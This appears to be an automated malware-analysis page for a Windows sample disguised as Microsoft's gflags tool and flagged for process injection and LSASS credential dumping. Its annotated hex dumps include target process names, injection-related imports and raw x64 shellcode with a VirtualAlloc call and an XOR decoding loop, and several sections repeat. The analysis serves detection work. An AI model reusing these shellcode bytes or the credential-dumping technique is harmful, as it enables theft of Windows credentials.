2b43beda185bf38fb18a18874428e0d2523770754d7e8fde214613db250f4b4f

HOSTILE

2b43beda185bf38fb18a18874428e0d2523770754d7e8fde214613db250f4b4f · 92%

AI Process injection and credential dumping

Mal-ecule

O₃(CaPEr₂)H₅(CrDbMg₂Os₅Po₄)Md₃(Bi₃BkPa)

Size 202.5 KB download

First seen 16 days ago

Analyzed 14 days ago

Source virussign.com

Also detected by 2 sources

Targets LSASS or writes a dump file: virussign.com_923094743ded0ccd63d46f2113df0250.vir:0x1c20

Registry write to Windows system persistence: virussign.com_923094743ded0ccd63d46f2113df0250.vir:0x1000

virussign.com_923094743ded0ccd63d46f2113df0250.vir pe

0xfa0	6f002000730061007600650020007200	o. .s.a.v.e. .r.
0xfb0	65006700690073007400720079002000	e.g.i.s.t.r.y. .
0xfc0	69006e0066006f0072006d0061007400	i.n.f.o.r.m.a.t.
0xfd0	69006f006e0000000000000000000000	i.o.n...........
0xfe0	55006e00610062006c00650020007400	U.n.a.b.l.e. .t.
0xff0	6f002000720065007400720069006500	o. .r.e.t.r.i.e.
0x1000	76006500200072006500670069007300	v.e. .r.e.g.i.s.Registry write to Windows system persistence
0x1010	740072007900200069006e0066006f00	t.r.y. .i.n.f.o.
0x1020	72006d006100740069006f006e000000	r.m.a.t.i.o.n...
0x1030	56006500720069006600690065007200	V.e.r.i.f.i.e.r.
0x1040	46006c00610067007300000000000000	F.l.a.g.s.......
0x1050	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1060	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x1070	65005300740061007200740000000000	e.S.t.a.r.t.....
0x1080	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1090	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x10a0	650045006e0064000000000000000000	e.E.n.d.........
0x10b0	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x10c0	520061006e0064006f006d0050007200	R.a.n.d.o.m.P.r.
0x10d0	6f0062006100620069006c0069007400	o.b.a.b.i.l.i.t.
0x10e0	79000000000000005000610067006500	y.......P.a.g.e.
0x10f0	48006500610070004600610075006c00	H.e.a.p.F.a.u.l.
0x1100	7400500072006f006200610062006900	t.P.r.o.b.a.b.i.
0x1110	6c006900740079000000000000000000	l.i.t.y.........
0x1120	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1130	4600610075006c007400540069006d00	F.a.u.l.t.T.i.m.
0x1140	65004f00750074000000000000000000	e.O.u.t.........
0x1150	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1160	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x1170	53007400610072007400000000000000	S.t.a.r.t.......
0x1180	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1190	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x11a0	45006e00640000005000610067006500	E.n.d...P.a.g.e.
0x11b0	48006500610070005400610072006700	H.e.a.p.T.a.r.g.
0x11c0	6500740044006c006c00730000000000	e.t.D.l.l.s.....
0x11d0	25007800000000002000000000000000	%.x..... .......
0x11e0	52746c5265706f727453696c656e7450	RtlReportSilentP
0x11f0	726f6365737345786974000000000000	rocessExit......
0x1200	6e00740064006c006c002e0064006c00	n.t.d.l.l...d.l.
0x1210	6c000000000000004d006f006e006900	l.......M.o.n.i.
0x1220	74006f007200500072006f0063006500	t.o.r.P.r.o.c.e.
0x1230	73007300000000004c006f0063006100	s.s.....L.o.c.a.
0x1240	6c00440075006d00700046006f006c00	l.D.u.m.p.F.o.l.
0x1250	64006500720000004d00610078004e00	d.e.r...M.a.x.N.
0x1260	75006d006200650072004f0066004400	u.m.b.e.r.O.f.D.
0x1270	75006d007000460069006c0065007300	u.m.p.F.i.l.e.s.
0x1280	0000000000000000440075006d007000	........D.u.m.p.
0x1290	54007900700065000000000000000000	T.y.p.e.........

0x1ba0	78002000740068006500200070007200	x. .t.h.e. .p.r.
0x1bb0	6f0062006c0065006d002e0000000000	o.b.l.e.m.......
0x1bc0	730070006f006f006c00730076002e00	s.p.o.o.l.s.v...
0x1bd0	65007800650000007200700063007300	e.x.e...r.p.c.s.
0x1be0	73002e00650078006500000000000000	s...e.x.e.......
0x1bf0	6e0074006d0073007300760063002e00	n.t.m.s.s.v.c...
0x1c00	65007800650000007300760063006800	e.x.e...s.v.c.h.
0x1c10	6f00730074002e006500780065000000	o.s.t...e.x.e...
0x1c20	6c0073006100730073002e0065007800	l.s.a.s.s...e.x.Targets LSASS or writes a dump file
0x1c30	65000000000000007300650072007600	e.......s.e.r.v.
0x1c40	69006300650073002e00650078006500	i.c.e.s...e.x.e.
0x1c50	0000000000000000770069006e006c00	........w.i.n.l.
0x1c60	6f0067006f006e002e00650078006500	o.g.o.n...e.x.e.
0x1c70	00000000000000006300730072007300	........c.s.r.s.
0x1c80	73002e00650078006500000000000000	s...e.x.e.......
0x1c90	440069007300610062006c0065002000	D.i.s.a.b.l.e. .
0x1ca0	700072006f0074006500630074006500	p.r.o.t.e.c.t.e.
0x1cb0	6400200044004c004c00200076006500	d. .D.L.L. .v.e.
0x1cc0	72006900660069006300610074006900	r.i.f.i.c.a.t.i.
0x1cd0	6f006e00000000006400700064000000	o.n.....d.p.d...
0x1ce0	45006e00610062006c	E.n.a.b.l

0x3b10	69006e006500000055006e0061006200	i.n.e...U.n.a.b.
0x3b20	6c006500200074006f00200063007200	l.e. .t.o. .c.r.
0x3b30	65006100740065002000700072006f00	e.a.t.e. .p.r.o.
0x3b40	63006500730073000000000000000000	c.e.s.s.........
0x3b50	53006500440065006200750067005000	S.e.D.e.b.u.g.P.
0x3b60	72006900760069006c00650067006500	r.i.v.i.l.e.g.e.
0x3b70	00000000000000004f00550054005000	........O.U.T.P.
0x3b80	550054005f0042005500460046004500	U.T._.B.U.F.F.E.
0x3b90	52005f0043004800450043004b005300	R._.C.H.E.C.K.S.
0x3ba0	0000000000000000500052004f005000	........P.R.O.P.
0x3bb0	410047004100540045005f0053004500	A.G.A.T.E._.S.E.
0x3bc0	5400540049004e004700530000000000	T.T.I.N.G.S.....
0x3bd0	4c004f0043004b005f00430048004500	L.O.C.K._.C.H.E.

0x18f72	48c74424f8000000004883ec08584801	H.D$.....H...XH.
0x18f82	c84881ece00100004883ec204080e4f0	.H......H.. @...
0x18f92	c645f356c645f469c645f572c645f674	.E.V.E.i.E.r.E.t
0x18fa2	c645f775c645f861c645f96cc645fa41	.E.u.E.a.E.l.E.A
0x18fb2	c645fb6cc645fc6cc645fd6fc645fe63	.E.l.E.l.E.o.E.c
0x18fc2	c645ff0048897424f84883ec084883c4	.E..H.t$.H...H..
0x18fd2	08488b4c24f8488d55f3ffd04883ec08	.H.L$.H.U...H...
0x18fe2	48c70424000000004883c408488b4c24	H..$....H...H.L$
0x18ff2	f848c7c2be61000049c7c00030000049	.H...a..I...0..IResolved x64 VirtualAlloc RWX imm64 call
0x19002	c7c140000000ffd048c7c1154600004c	..@.....H...F..L
0x19012	8d0d49bbffff48ffc9418a1409881408	..I...H..A......
0x19022	4885c975f148c7c1e03f000041b9135c	H..u.H...?..A..\x64 rolling-key XOR accumulator loop
0x19032	010041ba0092819248ffc98a14084430	..A.....H.....D0
0x19042	ca8814084181eae26f02004501d14181	....A...o..E..A.
0x19052	c1e26f02004181c2e26f020041d1c148	..o..A...o..A..H
0x19062	85c9750b740fe8fbffffffdf6f84e975	..u.t.......o..u
0x19072	c7f334010075814805d41e00004889ec	..4..u.H.....H..
0x19082	5dc3e848feffffc82000004c897c24f8	]..H.... ..L.\|$.
0x19092	4883ec084989e74883ec204883e4f048	H...I..H.. H...H
0x190a2	31f64801c64883c03c4831d28b104883	1.H..H..<H1...H.
0x190b2	ec0848893424488b04244883c4084801	..H.4$H..$H...H.
0x190c2	d04805880000004883ec084889042448	.H.....H...H..$H
0x190d2	8b0c244883c40848c7c0000000008b01	..$H...H........
0x190e2	4801f050488b0c244883c40856	H..PH..$H...V

0x1a4b4	6556616c756557001f0041646a757374	eValueW...Adjust
0x1a4c4	546f6b656e50726976696c6567657300	TokenPrivileges.
0x1a4d4	4f02526567456e756d4b657945785700	O.RegEnumKeyExW.
0x1a4e4	41445641504933322e646c6c00001e02	ADVAPI32.dll....
0x1a4f4	4765744d6f64756c6548616e646c6557	GetModuleHandleW
0x1a504	0000ac0247657456657273696f6e4578	....GetVersionEx
0x1a514	570008024765744c6173744572726f72	W...GetLastError
0x1a524	00004c0247657450726f634164647265	..L.GetProcAddre
0x1a534	737300001f014578697450726f636573	ss....ExitProces
0x1a544	7300a80043726561746550726f636573	s...CreateProces
0x1a554	73570000d30248656170416c6c6f6300	sW....HeapAlloc.
0x1a564	c60147657443757272656e7450726f63	..GetCurrentProc
0x1a574	65737300d70248656170467265650000	ess...HeapFree..
0x1a584	510247657450726f6365737348656170	Q.GetProcessHeap
0x1a594	0000650146726565436f6e736f6c6500	..e.FreeConsole.
0x1a5a4	ce045465726d696e61746550726f6365	..TerminateProce
0x1a5b4	7373000080045365744c617374457272	ss....SetLastErr
0x1a5c4	6f7200005200436c6f736548616e646c	or..R.CloseHandl
0x1a5d4	65003d05577269746550726f63657373	e.=.WriteProcess
0x1a5e4	4d656d6f727900001604526573756d65	Memory....Resume
0x1a5f4	5468726561640000fe04566972747561	Thread....Virtua
0x1a604	6c50726f746563740000c004536c6565	lProtect....Slee
0x1a614	70004b45524e454c33322e646c6c0000	p.KERNEL32.dll..
0x1a624	79035f77637369636d70000009057763	y._wcsicmp....wc
0x1a634	73746f756c0058035f76736e77707269	stoul.X._vsnwpri
0x1a644	6e746600d904746f776c6f7765720000	ntf...towlower..
0x1a654	430466777072696e74660000f3035f77	C.fwprintf...._w
0x1a664	746f69003a0466726565000074046d61	toi.:.free..t.ma
0x1a674	6c6c6f630000	lloc..

Objectives

0x1ba0	78002000740068006500200070007200	x. .t.h.e. .p.r.
0x1bb0	6f0062006c0065006d002e0000000000	o.b.l.e.m.......
0x1bc0	730070006f006f006c00730076002e00	s.p.o.o.l.s.v...
0x1bd0	65007800650000007200700063007300	e.x.e...r.p.c.s.
0x1be0	73002e00650078006500000000000000	s...e.x.e.......
0x1bf0	6e0074006d0073007300760063002e00	n.t.m.s.s.v.c...
0x1c00	65007800650000007300760063006800	e.x.e...s.v.c.h.
0x1c10	6f00730074002e006500780065000000	o.s.t...e.x.e...
0x1c20	6c0073006100730073002e0065007800	l.s.a.s.s...e.x.
0x1c30	65000000000000007300650072007600	e.......s.e.r.v.
0x1c40	69006300650073002e00650078006500	i.c.e.s...e.x.e.
0x1c50	0000000000000000770069006e006c00	........w.i.n.l.
0x1c60	6f0067006f006e002e00650078006500	o.g.o.n...e.x.e.
0x1c70	00000000000000006300730072007300	........c.s.r.s.
0x1c80	73002e00650078006500000000000000	s...e.x.e.......
0x1c90	440069007300610062006c0065002000	D.i.s.a.b.l.e. .
0x1ca0	700072006f0074006500630074006500	p.r.o.t.e.c.t.e.
0x1cb0	6400200044004c004c00200076006500	d. .D.L.L. .v.e.
0x1cc0	72006900660069006300610074006900	r.i.f.i.c.a.t.i.
0x1cd0	6f006e00000000006400700064000000	o.n.....d.p.d...
0x1ce0	45006e00610062006c	E.n.a.b.l

0xfa0	6f002000730061007600650020007200	o. .s.a.v.e. .r.
0xfb0	65006700690073007400720079002000	e.g.i.s.t.r.y. .
0xfc0	69006e0066006f0072006d0061007400	i.n.f.o.r.m.a.t.
0xfd0	69006f006e0000000000000000000000	i.o.n...........
0xfe0	55006e00610062006c00650020007400	U.n.a.b.l.e. .t.
0xff0	6f002000720065007400720069006500	o. .r.e.t.r.i.e.
0x1000	76006500200072006500670069007300	v.e. .r.e.g.i.s.
0x1010	740072007900200069006e0066006f00	t.r.y. .i.n.f.o.
0x1020	72006d006100740069006f006e000000	r.m.a.t.i.o.n...
0x1030	56006500720069006600690065007200	V.e.r.i.f.i.e.r.
0x1040	46006c00610067007300000000000000	F.l.a.g.s.......
0x1050	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1060	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x1070	65005300740061007200740000000000	e.S.t.a.r.t.....
0x1080	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1090	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x10a0	650045006e0064000000000000000000	e.E.n.d.........
0x10b0	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x10c0	520061006e0064006f006d0050007200	R.a.n.d.o.m.P.r.
0x10d0	6f0062006100620069006c0069007400	o.b.a.b.i.l.i.t.
0x10e0	79000000000000005000610067006500	y.......P.a.g.e.
0x10f0	48006500610070004600610075006c00	H.e.a.p.F.a.u.l.
0x1100	7400500072006f006200610062006900	t.P.r.o.b.a.b.i.
0x1110	6c006900740079000000000000000000	l.i.t.y.........
0x1120	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1130	4600610075006c007400540069006d00	F.a.u.l.t.T.i.m.
0x1140	65004f00750074000000000000000000	e.O.u.t.........
0x1150	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1160	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x1170	53007400610072007400000000000000	S.t.a.r.t.......
0x1180	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1190	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x11a0	45006e00640000005000610067006500	E.n.d...P.a.g.e.
0x11b0	48006500610070005400610072006700	H.e.a.p.T.a.r.g.
0x11c0	6500740044006c006c00730000000000	e.t.D.l.l.s.....
0x11d0	25007800000000002000000000000000	%.x..... .......
0x11e0	52746c5265706f727453696c656e7450	RtlReportSilentP
0x11f0	726f6365737345786974000000000000	rocessExit......
0x1200	6e00740064006c006c002e0064006c00	n.t.d.l.l...d.l.
0x1210	6c000000000000004d006f006e006900	l.......M.o.n.i.
0x1220	74006f007200500072006f0063006500	t.o.r.P.r.o.c.e.
0x1230	73007300000000004c006f0063006100	s.s.....L.o.c.a.
0x1240	6c00440075006d00700046006f006c00	l.D.u.m.p.F.o.l.
0x1250	64006500720000004d00610078004e00	d.e.r...M.a.x.N.
0x1260	75006d006200650072004f0066004400	u.m.b.e.r.O.f.D.
0x1270	75006d007000460069006c0065007300	u.m.p.F.i.l.e.s.
0x1280	0000000000000000440075006d007000	........D.u.m.p.
0x1290	54007900700065000000000000000000	T.y.p.e.........

0x1fbde	74006800200074006800650073006500	t.h. .t.h.e.s.e.
0x1fbee	2000730065007400740069006e006700	.s.e.t.t.i.n.g.
0x1fbfe	73003f00000000000000c80334000000	s.?.........4...
0x1fc0e	560053005f0056004500520053004900	V.S._.V.E.R.S.I.
0x1fc1e	4f004e005f0049004e0046004f000000	O.N._.I.N.F.O...
0x1fc2e	0000bd04effe00000100010006000000	................
0x1fc3e	e21d010006000000e21d3f0000000800	..........?.....
0x1fc4e	00000400040001000000000000000000	................
0x1fc5e	00000000000026030000010053007400	......&.....S.t.
0x1fc6e	720069006e006700460069006c006500	r.i.n.g.F.i.l.e.
0x1fc7e	49006e0066006f000000020300000100	I.n.f.o.........
0x1fc8e	30003400300039003000340042003000	0.4.0.9.0.4.B.0.
0x1fc9e	00004c001600010043006f006d007000	..L.....C.o.m.p.
0x1fcae	61006e0079004e0061006d0065000000	a.n.y.N.a.m.e...
0x1fcbe	00004d006900630072006f0073006f00	..M.i.c.r.o.s.o.
0x1fcce	66007400200043006f00720070006f00	f.t. .C.o.r.p.o.
0x1fcde	72006100740069006f006e0000007600	r.a.t.i.o.n...v.
0x1fcee	27000100460069006c00650044006500	'...F.i.l.e.D.e.
0x1fcfe	73006300720069007000740069006f00	s.c.r.i.p.t.i.o.
0x1fd0e	6e00000000004d006900630072006f00	n.....M.i.c.r.o.
0x1fd1e	73006f0066007400ae0020004e005400	s.o.f.t... .N.T.
0x1fd2e	200047006c006f00620061006c002000	.G.l.o.b.a.l. .
0x1fd3e	46006c0061006700730020004d006100	F.l.a.g.s. .M.a.
0x1fd4e	6e006900700075006c00610074006f00	n.i.p.u.l.a.t.o.
0x1fd5e	72000000000086003300010046006900	r.......3...F.i.
0x1fd6e	6c006500560065007200730069006f00	l.e.V.e.r.s.i.o.
0x1fd7e	6e000000000036002e0031002e003700	n.....6...1...7.
0x1fd8e	3600350030002e003000200028006600	6.5.0...0. .(.f.
0x1fd9e	62006c005f0074006f006f006c007300	b.l._.t.o.o.l.s.
0x1fdae	5f006400650062007500670067006500	_.d.e.b.u.g.g.e.
0x1fdbe	7200280077006d0062006c0061002900	r.(.w.m.b.l.a.).
0x1fdce	2e003100300030003200300031002d00	..1.0.0.2.0.1.-.
0x1fdde	31003200310031002900000000003600	1.2.1.1.).....6.
0x1fdee	0b00010049006e007400650072006e00	....I.n.t.e.r.n.
0x1fdfe	61006c004e0061006d00650000004700	a.l.N.a.m.e...G.
0x1fe0e	46004c004100470053002e0045005800	F.L.A.G.S...E.X.
0x1fe1e	45000000000080002e0001004c006500	E...........L.e.
0x1fe2e	670061006c0043006f00700079007200	g.a.l.C.o.p.y.r.
0x1fe3e	69006700680074000000a90020004d00	i.g.h.t..... .M.
0x1fe4e	6900630072006f0073006f0066007400	i.c.r.o.s.o.f.t.
0x1fe5e	200043006f00720070006f0072006100	.C.o.r.p.o.r.a.
0x1fe6e	740069006f006e002e00200041006c00	t.i.o.n... .A.l.
0x1fe7e	6c002000720069006700680074007300	l. .r.i.g.h.t.s.
0x1fe8e	20007200650073006500720076006500	.r.e.s.e.r.v.e.
0x1fe9e	64002e0000003e000b0001004f007200	d.....>.....O.r.
0x1feae	6900670069006e0061006c0046006900	i.g.i.n.a.l.F.i.
0x1febe	6c0065006e0061006d00650000004700	l.e.n.a.m.e...G.
0x1fece	46004c004100470053002e0045005800	F.L.A.G.S...E.X.

0x18f72	48c74424f8000000004883ec08584801	H.D$.....H...XH.
0x18f82	c84881ece00100004883ec204080e4f0	.H......H.. @...
0x18f92	c645f356c645f469c645f572c645f674	.E.V.E.i.E.r.E.t
0x18fa2	c645f775c645f861c645f96cc645fa41	.E.u.E.a.E.l.E.A
0x18fb2	c645fb6cc645fc6cc645fd6fc645fe63	.E.l.E.l.E.o.E.c
0x18fc2	c645ff0048897424f84883ec084883c4	.E..H.t$.H...H..
0x18fd2	08488b4c24f8488d55f3ffd04883ec08	.H.L$.H.U...H...
0x18fe2	48c70424000000004883c408488b4c24	H..$....H...H.L$
0x18ff2	f848c7c2be61000049c7c00030000049	.H...a..I...0..I
0x19002	c7c140000000ffd048c7c1154600004c	..@.....H...F..L
0x19012	8d0d49bbffff48ffc9418a1409881408	..I...H..A......
0x19022	4885c975f148c7c1e03f000041b9135c	H..u.H...?..A..\
0x19032	010041ba0092819248ffc98a14084430	..A.....H.....D0
0x19042	ca8814084181eae26f02004501d14181	....A...o..E..A.
0x19052	c1e26f02004181c2e26f020041d1c148	..o..A...o..A..H
0x19062	85c9750b740fe8fbffffffdf6f84e975	..u.t.......o..u
0x19072	c7f334010075814805d41e00004889ec	..4..u.H.....H..
0x19082	5dc3e848feffffc82000004c897c24f8	]..H.... ..L.\|$.
0x19092	4883ec084989e74883ec204883e4f048	H...I..H.. H...H
0x190a2	31f64801c64883c03c4831d28b104883	1.H..H..<H1...H.
0x190b2	ec0848893424488b04244883c4084801	..H.4$H..$H...H.
0x190c2	d04805880000004883ec084889042448	.H.....H...H..$H
0x190d2	8b0c244883c40848c7c0000000008b01	..$H...H........
0x190e2	4801f050488b0c244883c40856	H..PH..$H...V

0xfa0	6f002000730061007600650020007200	o. .s.a.v.e. .r.
0xfb0	65006700690073007400720079002000	e.g.i.s.t.r.y. .
0xfc0	69006e0066006f0072006d0061007400	i.n.f.o.r.m.a.t.
0xfd0	69006f006e0000000000000000000000	i.o.n...........
0xfe0	55006e00610062006c00650020007400	U.n.a.b.l.e. .t.
0xff0	6f002000720065007400720069006500	o. .r.e.t.r.i.e.
0x1000	76006500200072006500670069007300	v.e. .r.e.g.i.s.
0x1010	740072007900200069006e0066006f00	t.r.y. .i.n.f.o.
0x1020	72006d006100740069006f006e000000	r.m.a.t.i.o.n...
0x1030	56006500720069006600690065007200	V.e.r.i.f.i.e.r.
0x1040	46006c00610067007300000000000000	F.l.a.g.s.......
0x1050	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1060	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x1070	65005300740061007200740000000000	e.S.t.a.r.t.....
0x1080	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1090	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x10a0	650045006e0064000000000000000000	e.E.n.d.........
0x10b0	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x10c0	520061006e0064006f006d0050007200	R.a.n.d.o.m.P.r.
0x10d0	6f0062006100620069006c0069007400	o.b.a.b.i.l.i.t.
0x10e0	79000000000000005000610067006500	y.......P.a.g.e.
0x10f0	48006500610070004600610075006c00	H.e.a.p.F.a.u.l.
0x1100	7400500072006f006200610062006900	t.P.r.o.b.a.b.i.
0x1110	6c006900740079000000000000000000	l.i.t.y.........
0x1120	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1130	4600610075006c007400540069006d00	F.a.u.l.t.T.i.m.
0x1140	65004f00750074000000000000000000	e.O.u.t.........
0x1150	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1160	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x1170	53007400610072007400000000000000	S.t.a.r.t.......
0x1180	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1190	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x11a0	45006e00640000005000610067006500	E.n.d...P.a.g.e.
0x11b0	48006500610070005400610072006700	H.e.a.p.T.a.r.g.
0x11c0	6500740044006c006c00730000000000	e.t.D.l.l.s.....
0x11d0	25007800000000002000000000000000	%.x..... .......
0x11e0	52746c5265706f727453696c656e7450	RtlReportSilentP
0x11f0	726f6365737345786974000000000000	rocessExit......
0x1200	6e00740064006c006c002e0064006c00	n.t.d.l.l...d.l.
0x1210	6c000000000000004d006f006e006900	l.......M.o.n.i.
0x1220	74006f007200500072006f0063006500	t.o.r.P.r.o.c.e.
0x1230	73007300000000004c006f0063006100	s.s.....L.o.c.a.
0x1240	6c00440075006d00700046006f006c00	l.D.u.m.p.F.o.l.
0x1250	64006500720000004d00610078004e00	d.e.r...M.a.x.N.
0x1260	75006d006200650072004f0066004400	u.m.b.e.r.O.f.D.
0x1270	75006d007000460069006c0065007300	u.m.p.F.i.l.e.s.
0x1280	0000000000000000440075006d007000	........D.u.m.p.
0x1290	54007900700065000000000000000000	T.y.p.e.........

0x1a4b4	6556616c756557001f0041646a757374	eValueW...Adjust
0x1a4c4	546f6b656e50726976696c6567657300	TokenPrivileges.
0x1a4d4	4f02526567456e756d4b657945785700	O.RegEnumKeyExW.
0x1a4e4	41445641504933322e646c6c00001e02	ADVAPI32.dll....
0x1a4f4	4765744d6f64756c6548616e646c6557	GetModuleHandleW
0x1a504	0000ac0247657456657273696f6e4578	....GetVersionEx
0x1a514	570008024765744c6173744572726f72	W...GetLastError
0x1a524	00004c0247657450726f634164647265	..L.GetProcAddre
0x1a534	737300001f014578697450726f636573	ss....ExitProces
0x1a544	7300a80043726561746550726f636573	s...CreateProces
0x1a554	73570000d30248656170416c6c6f6300	sW....HeapAlloc.
0x1a564	c60147657443757272656e7450726f63	..GetCurrentProc
0x1a574	65737300d70248656170467265650000	ess...HeapFree..
0x1a584	510247657450726f6365737348656170	Q.GetProcessHeap
0x1a594	0000650146726565436f6e736f6c6500	..e.FreeConsole.
0x1a5a4	ce045465726d696e61746550726f6365	..TerminateProce
0x1a5b4	7373000080045365744c617374457272	ss....SetLastErr
0x1a5c4	6f7200005200436c6f736548616e646c	or..R.CloseHandl
0x1a5d4	65003d05577269746550726f63657373	e.=.WriteProcess
0x1a5e4	4d656d6f727900001604526573756d65	Memory....Resume
0x1a5f4	5468726561640000fe04566972747561	Thread....Virtua
0x1a604	6c50726f746563740000c004536c6565	lProtect....Slee
0x1a614	70004b45524e454c33322e646c6c0000	p.KERNEL32.dll..
0x1a624	79035f77637369636d70000009057763	y._wcsicmp....wc
0x1a634	73746f756c0058035f76736e77707269	stoul.X._vsnwpri
0x1a644	6e746600d904746f776c6f7765720000	ntf...towlower..
0x1a654	430466777072696e74660000f3035f77	C.fwprintf...._w
0x1a664	746f69003a0466726565000074046d61	toi.:.free..t.ma
0x1a674	6c6c6f630000	lloc..

Micro-behaviors

0x18f72	48c74424f8000000004883ec08584801	H.D$.....H...XH.
0x18f82	c84881ece00100004883ec204080e4f0	.H......H.. @...
0x18f92	c645f356c645f469c645f572c645f674	.E.V.E.i.E.r.E.t
0x18fa2	c645f775c645f861c645f96cc645fa41	.E.u.E.a.E.l.E.A
0x18fb2	c645fb6cc645fc6cc645fd6fc645fe63	.E.l.E.l.E.o.E.c
0x18fc2	c645ff0048897424f84883ec084883c4	.E..H.t$.H...H..
0x18fd2	08488b4c24f8488d55f3ffd04883ec08	.H.L$.H.U...H...
0x18fe2	48c70424000000004883c408488b4c24	H..$....H...H.L$
0x18ff2	f848c7c2be61000049c7c00030000049	.H...a..I...0..I
0x19002	c7c140000000ffd048c7c1154600004c	..@.....H...F..L
0x19012	8d0d49bbffff48ffc9418a1409881408	..I...H..A......
0x19022	4885c975f148c7c1e03f000041b9135c	H..u.H...?..A..\
0x19032	010041ba0092819248ffc98a14084430	..A.....H.....D0
0x19042	ca8814084181eae26f02004501d14181	....A...o..E..A.
0x19052	c1e26f02004181c2e26f020041d1c148	..o..A...o..A..H
0x19062	85c9750b740fe8fbffffffdf6f84e975	..u.t.......o..u
0x19072	c7f334010075814805d41e00004889ec	..4..u.H.....H..
0x19082	5dc3e848feffffc82000004c897c24f8	]..H.... ..L.\|$.
0x19092	4883ec084989e74883ec204883e4f048	H...I..H.. H...H
0x190a2	31f64801c64883c03c4831d28b104883	1.H..H..<H1...H.
0x190b2	ec0848893424488b04244883c4084801	..H.4$H..$H...H.
0x190c2	d04805880000004883ec084889042448	.H.....H...H..$H
0x190d2	8b0c244883c40848c7c0000000008b01	..$H...H........
0x190e2	4801f050488b0c244883c40856	H..PH..$H...V

0x18f72	48c74424f8000000004883ec08584801	H.D$.....H...XH.
0x18f82	c84881ece00100004883ec204080e4f0	.H......H.. @...
0x18f92	c645f356c645f469c645f572c645f674	.E.V.E.i.E.r.E.t
0x18fa2	c645f775c645f861c645f96cc645fa41	.E.u.E.a.E.l.E.A
0x18fb2	c645fb6cc645fc6cc645fd6fc645fe63	.E.l.E.l.E.o.E.c
0x18fc2	c645ff0048897424f84883ec084883c4	.E..H.t$.H...H..
0x18fd2	08488b4c24f8488d55f3ffd04883ec08	.H.L$.H.U...H...
0x18fe2	48c70424000000004883c408488b4c24	H..$....H...H.L$
0x18ff2	f848c7c2be61000049c7c00030000049	.H...a..I...0..I
0x19002	c7c140000000ffd048c7c1154600004c	..@.....H...F..L
0x19012	8d0d49bbffff48ffc9418a1409881408	..I...H..A......
0x19022	4885c975f148c7c1e03f000041b9135c	H..u.H...?..A..\
0x19032	010041ba0092819248ffc98a14084430	..A.....H.....D0
0x19042	ca8814084181eae26f02004501d14181	....A...o..E..A.
0x19052	c1e26f02004181c2e26f020041d1c148	..o..A...o..A..H
0x19062	85c9750b740fe8fbffffffdf6f84e975	..u.t.......o..u
0x19072	c7f334010075814805d41e00004889ec	..4..u.H.....H..
0x19082	5dc3e848feffffc82000004c897c24f8	]..H.... ..L.\|$.
0x19092	4883ec084989e74883ec204883e4f048	H...I..H.. H...H
0x190a2	31f64801c64883c03c4831d28b104883	1.H..H..<H1...H.
0x190b2	ec0848893424488b04244883c4084801	..H.4$H..$H...H.
0x190c2	d04805880000004883ec084889042448	.H.....H...H..$H
0x190d2	8b0c244883c40848c7c0000000008b01	..$H...H........
0x190e2	4801f050488b0c244883c40856	H..PH..$H...V

0x18f72	48c74424f8000000004883ec08584801	H.D$.....H...XH.
0x18f82	c84881ece00100004883ec204080e4f0	.H......H.. @...
0x18f92	c645f356c645f469c645f572c645f674	.E.V.E.i.E.r.E.t
0x18fa2	c645f775c645f861c645f96cc645fa41	.E.u.E.a.E.l.E.A
0x18fb2	c645fb6cc645fc6cc645fd6fc645fe63	.E.l.E.l.E.o.E.c
0x18fc2	c645ff0048897424f84883ec084883c4	.E..H.t$.H...H..
0x18fd2	08488b4c24f8488d55f3ffd04883ec08	.H.L$.H.U...H...
0x18fe2	48c70424000000004883c408488b4c24	H..$....H...H.L$
0x18ff2	f848c7c2be61000049c7c00030000049	.H...a..I...0..I
0x19002	c7c140000000ffd048c7c1154600004c	..@.....H...F..L
0x19012	8d0d49bbffff48ffc9418a1409881408	..I...H..A......
0x19022	4885c975f148c7c1e03f000041b9135c	H..u.H...?..A..\
0x19032	010041ba0092819248ffc98a14084430	..A.....H.....D0
0x19042	ca8814084181eae26f02004501d14181	....A...o..E..A.
0x19052	c1e26f02004181c2e26f020041d1c148	..o..A...o..A..H
0x19062	85c9750b740fe8fbffffffdf6f84e975	..u.t.......o..u
0x19072	c7f334010075814805d41e00004889ec	..4..u.H.....H..
0x19082	5dc3e848feffffc82000004c897c24f8	]..H.... ..L.\|$.
0x19092	4883ec084989e74883ec204883e4f048	H...I..H.. H...H
0x190a2	31f64801c64883c03c4831d28b104883	1.H..H..<H1...H.
0x190b2	ec0848893424488b04244883c4084801	..H.4$H..$H...H.
0x190c2	d04805880000004883ec084889042448	.H.....H...H..$H
0x190d2	8b0c244883c40848c7c0000000008b01	..$H...H........
0x190e2	4801f050488b0c244883c40856	H..PH..$H...V

0xfa0	6f002000730061007600650020007200	o. .s.a.v.e. .r.
